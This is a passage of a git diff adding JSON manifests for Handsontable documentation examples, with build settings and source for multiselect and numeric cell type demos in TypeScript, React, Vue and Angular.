    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst requiredItems = ['Passport', 'Tickets', 'Wallet', 'Phone', 'Keys'];\nconst optionalExtras = ['Snacks', 'Book', 'Camera', 'Umbrella', 'First aid kit'];\nconst interests = ['Art', 'History', 'Nature', 'Food', 'Shopping'];\n\nconst data = [\n [['Passport', 'Phone'], ['Snacks', 'Book'], ['Nature']],\n [['Tickets', 'Wallet'], ['Camera'], []],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n];\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n columns: [\n {\n type: 'multiselect',\n source: requiredItems,\n title: 'Required items',\n allowEmpty: false,\n },\n {\n type: 'multiselect',\n source: optionalExtras,\n title: 'Optional extras',\n placeholder: 'Select up to 3',\n maxSelections: 3,\n visibleRows: 4,\n searchInput: false,\n },\n {\n type: 'multiselect',\n source: interests,\n title: 'Interests',\n placeholder: 'Select interests',\n sourceSortFunction: (entries: string[]) => [...entries].sort((a, b) => a.localeCompare(b)),\n filteringCaseSensitive: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n stretchH: 'last',\n width: '100%',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/multiselect-cell-type/javascript/example3.ts","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example3","exampleTitle":"Other options","docPermalink":"/multiselect-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..547cfa92 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ MultiSelect cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst shipmentCategories: string[] = [\n 'Electronics and Gadgets',\n 'Medical Supplies',\n 'Auto Parts',\n 'Fresh Produce',\n 'Textiles',\n 'Industrial Equipment',\n 'Pharmaceuticals',\n 'Consumer Goods',\n 'Machine Parts',\n 'Food Products',\n];\n\nconst data: (string | string[])[][] = [\n ['Los Angeles International Airport', ['Electronics and Gadgets', 'Medical Supplies']],\n [\"Chicago O'Hare International Airport\", ['Auto Parts', 'Fresh Produce']],\n ['Charles de Gaulle Airport', ['Textiles', 'Industrial Equipment']],\n ['Tokyo Haneda Airport', ['Pharmaceuticals', 'Consumer Goods']],\n ['Singapore Changi Airport', ['Machine Parts', 'Food Products']],\n ['Luton Airport', ['Electronics and Gadgets', 'Pharmaceuticals']],\n ['Frankfurt Airport', ['Industrial Equipment', 'Auto Parts', 'Consumer Goods']],\n ['Sydney Kingsford Smith Airport', ['Fresh Produce', 'Food Products']],\n ['Toronto Pearson International Airport', ['Medical Supplies', 'Textiles']],\n ['Hong Kong International Airport', ['Machine Parts', 'Electronics and Gadgets', 'Industrial Equipment']],\n ['Heathrow Airport', ['Textiles', 'Consumer Goods']],\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/multiselect-cell-type/react/example1.tsx","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/multiselect-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example2.tsx.json new file mode 100644 index 00000000..7934d265 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ MultiSelect cell type · Array of objects · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface ShipmentCategory {\n key: string;\n value: string;\n}\n\nconst shipmentCategories: ShipmentCategory[] = [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n];\n\nconst data: (string | ShipmentCategory[])[][] = [\n [\n 'Los Angeles International Airport',\n [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n ],\n ],\n [\n \"Chicago O'Hare International Airport\",\n [\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n ],\n ],\n [\n 'Charles de Gaulle Airport',\n [\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n ],\n ],\n [\n 'Tokyo Haneda Airport',\n [\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n ],\n ],\n [\n 'Singapore Changi Airport',\n [\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n ],\n ],\n [\n 'Luton Airport',\n [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n ],\n ],\n [\n 'Frankfurt Airport',\n [\n { key: 'industrial', value: 'Industrial Equipment' },\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'consumer', value: 'Consumer Goods' },\n ],\n ],\n [\n 'Sydney Kingsford Smith Airport',\n [\n { key: 'fresh-produce', value: 'Fresh Produce' },\n { key: 'food', value: 'Food Products' },\n ],\n ],\n [\n 'Toronto Pearson International Airport',\n [\n { key: 'medical', value: 'Medical Supplies' },\n { key: 'textiles', value: 'Textiles' },\n ],\n ],\n [\n 'Hong Kong International Airport',\n [\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'industrial', value: 'Industrial Equipment' },\n ],\n ],\n [\n 'Heathrow Airport',\n [\n { key: 'textiles', value: 'Textiles' },\n { key: 'consumer', value: 'Consumer Goods' },\n ],\n ],\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/multiselect-cell-type/react/example2.tsx","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example2","exampleTitle":"Array of objects","docPermalink":"/multiselect-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example3.tsx.json new file mode 100644 index 00000000..67006a01 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ MultiSelect cell type · Other options · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst requiredItems: string[] = ['Passport', 'Tickets', 'Wallet', 'Phone', 'Keys'];\nconst optionalExtras: string[] = ['Snacks', 'Book', 'Camera', 'Umbrella', 'First aid kit'];\nconst interests: string[] = ['Art', 'History', 'Nature', 'Food', 'Shopping'];\n\nconst sortAlphabetically = (entries: (string | object)[]) =>\n [...entries].sort((a, b) => String(a).localeCompare(String(b)));\n\nconst data: string[][][] = [\n [['Passport', 'Phone'], ['Snacks', 'Book'], ['Nature']],\n [['Tickets', 'Wallet'], ['Camera'], []],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/multiselect-cell-type/react/example3.tsx","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example3","exampleTitle":"Other options","docPermalink":"/multiselect-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..3eeab6cf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ MultiSelect cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/multiselect-cell-type/vue/example1.vue","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/multiselect-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example2.vue.json new file mode 100644 index 00000000..62c6e4c9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ MultiSelect cell type · Array of objects · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/multiselect-cell-type/vue/example2.vue","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example2","exampleTitle":"Array of objects","docPermalink":"/multiselect-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example3.vue.json new file mode 100644 index 00000000..b112a8a6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ MultiSelect cell type · Other options · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/multiselect-cell-type/vue/example3.vue","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example3","exampleTitle":"Other options","docPermalink":"/multiselect-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..c677de6d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Numeric cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation, HostListener, ElementRef, inject } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface CarData {\n car: string;\n year: number;\n price_usd: number;\n price_eur: number;\n distance_km: number;\n fuel_liters: number;\n discount_percent: number;\n quantity: number;\n}\n\n@Component({\n selector: 'example1-numeric-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n
    \n \n {{ selectedLabel }}\n \n \n @if (isOpen) {\n
      \n @for (opt of localeOptions; track opt.value) {\n {{ opt.label }}\n }\n
    \n }\n
    \n
    \n
    \n
    \n \n
    \n `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n isOpen = false;\n locale = 'en-US';\n\n readonly localeOptions = [\n { value: 'ar-AR', label: 'Arabic (Global)' },\n { value: 'cs-CZ', label: 'Czech (Czechia)' },\n { value: 'de-CH', label: 'German (Switzerland)' },\n { value: 'de-DE', label: 'German (Germany)' },\n { value: 'en-US', label: 'English (United States)' },\n { value: 'es-MX', label: 'Spanish (Mexico)' },\n { value: 'fa-IR', label: 'Persian (Iran)' },\n { value: 'fr-FR', label: 'French (France)' },\n { value: 'hr-HR', label: 'Croatian (Croatia)' },\n { value: 'it-IT', label: 'Italian (Italy)' },\n { value: 'ja-JP', label: 'Japanese (Japan)' },\n { value: 'ko-KR', label: 'Korean (Korea)' },\n { value: 'lv-LV', label: 'Latvian (Latvia)' },\n { value: 'nb-NO', label: 'Norwegian Bokmal (Norway)' },\n { value: 'nl-NL', label: 'Dutch (Netherlands)' },\n { value: 'pl-PL', label: 'Polish (Poland)' },\n { value: 'pt-BR', label: 'Portuguese (Brazil)' },\n { value: 'ru-RU', label: 'Russian (Russia)' },\n { value: 'sr-SP', label: 'Serbian Latin (Serbia)' },\n { value: 'zh-CN', label: 'Chinese (Simplified, China)' },\n { value: 'zh-TW', label: 'Chinese (Traditional, Taiwan)' },\n ];\n\n readonly data: CarData[] = [\n {\n car: 'Mercedes A 160',\n year: 2017,\n price_usd: 7000,\n price_eur: 7000,\n distance_km: 125000,\n fuel_liters: 45.5,\n discount_percent: 0.15,\n quantity: 1250\n },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n price_usd: 8330,\n price_eur: 8330,\n distance_km: 98000,\n fuel_liters: 52.3,\n discount_percent: 0.08,\n quantity: 2100\n },\n {\n car: 'Audi A4 Avant',\n year: 2019,\n price_usd: 33900,\n price_eur: 33900,\n distance_km: 45000,\n fuel_liters: 60.0,\n discount_percent: 0.05,\n quantity: 850\n },\n {\n car: 'Opel Astra',\n year: 2020,\n price_usd: 5000,\n price_eur: 5000,\n distance_km: 156000,\n fuel_liters: 48.7,\n discount_percent: 0.12,\n quantity: 3200\n },\n {\n car: 'BMW 320i Coupe',\n year: 2021,\n price_usd: 30500,\n price_eur: 30500,\n distance_km: 32000,\n fuel_liters: 55.2,\n discount_percent: 0.03,\n quantity: 1500\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car', 'Year', 'Price (USD)', 'Price (EUR)', 'Distance', 'Fuel', 'Discount', 'Quantity'],\n locale: this.locale,\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n type: 'text',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'price_usd',\n type: 'numeric',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n data: 'price_eur',\n type: 'numeric',\n numericFormat: {\n style: 'currency',\n currency: 'EUR',\n minimumFractionDigits: 2,\n },\n },\n {\n data: 'distance_km',\n type: 'numeric',\n numericFormat: {\n style: 'unit',\n unit: 'kilometer',\n useGrouping: true,\n },\n },\n {\n data: 'fuel_liters',\n type: 'numeric',\n numericFormat: {\n style: 'unit',\n unit: 'liter',\n minimumFractionDigits: 1,\n maximumFractionDigits: 1,\n },\n 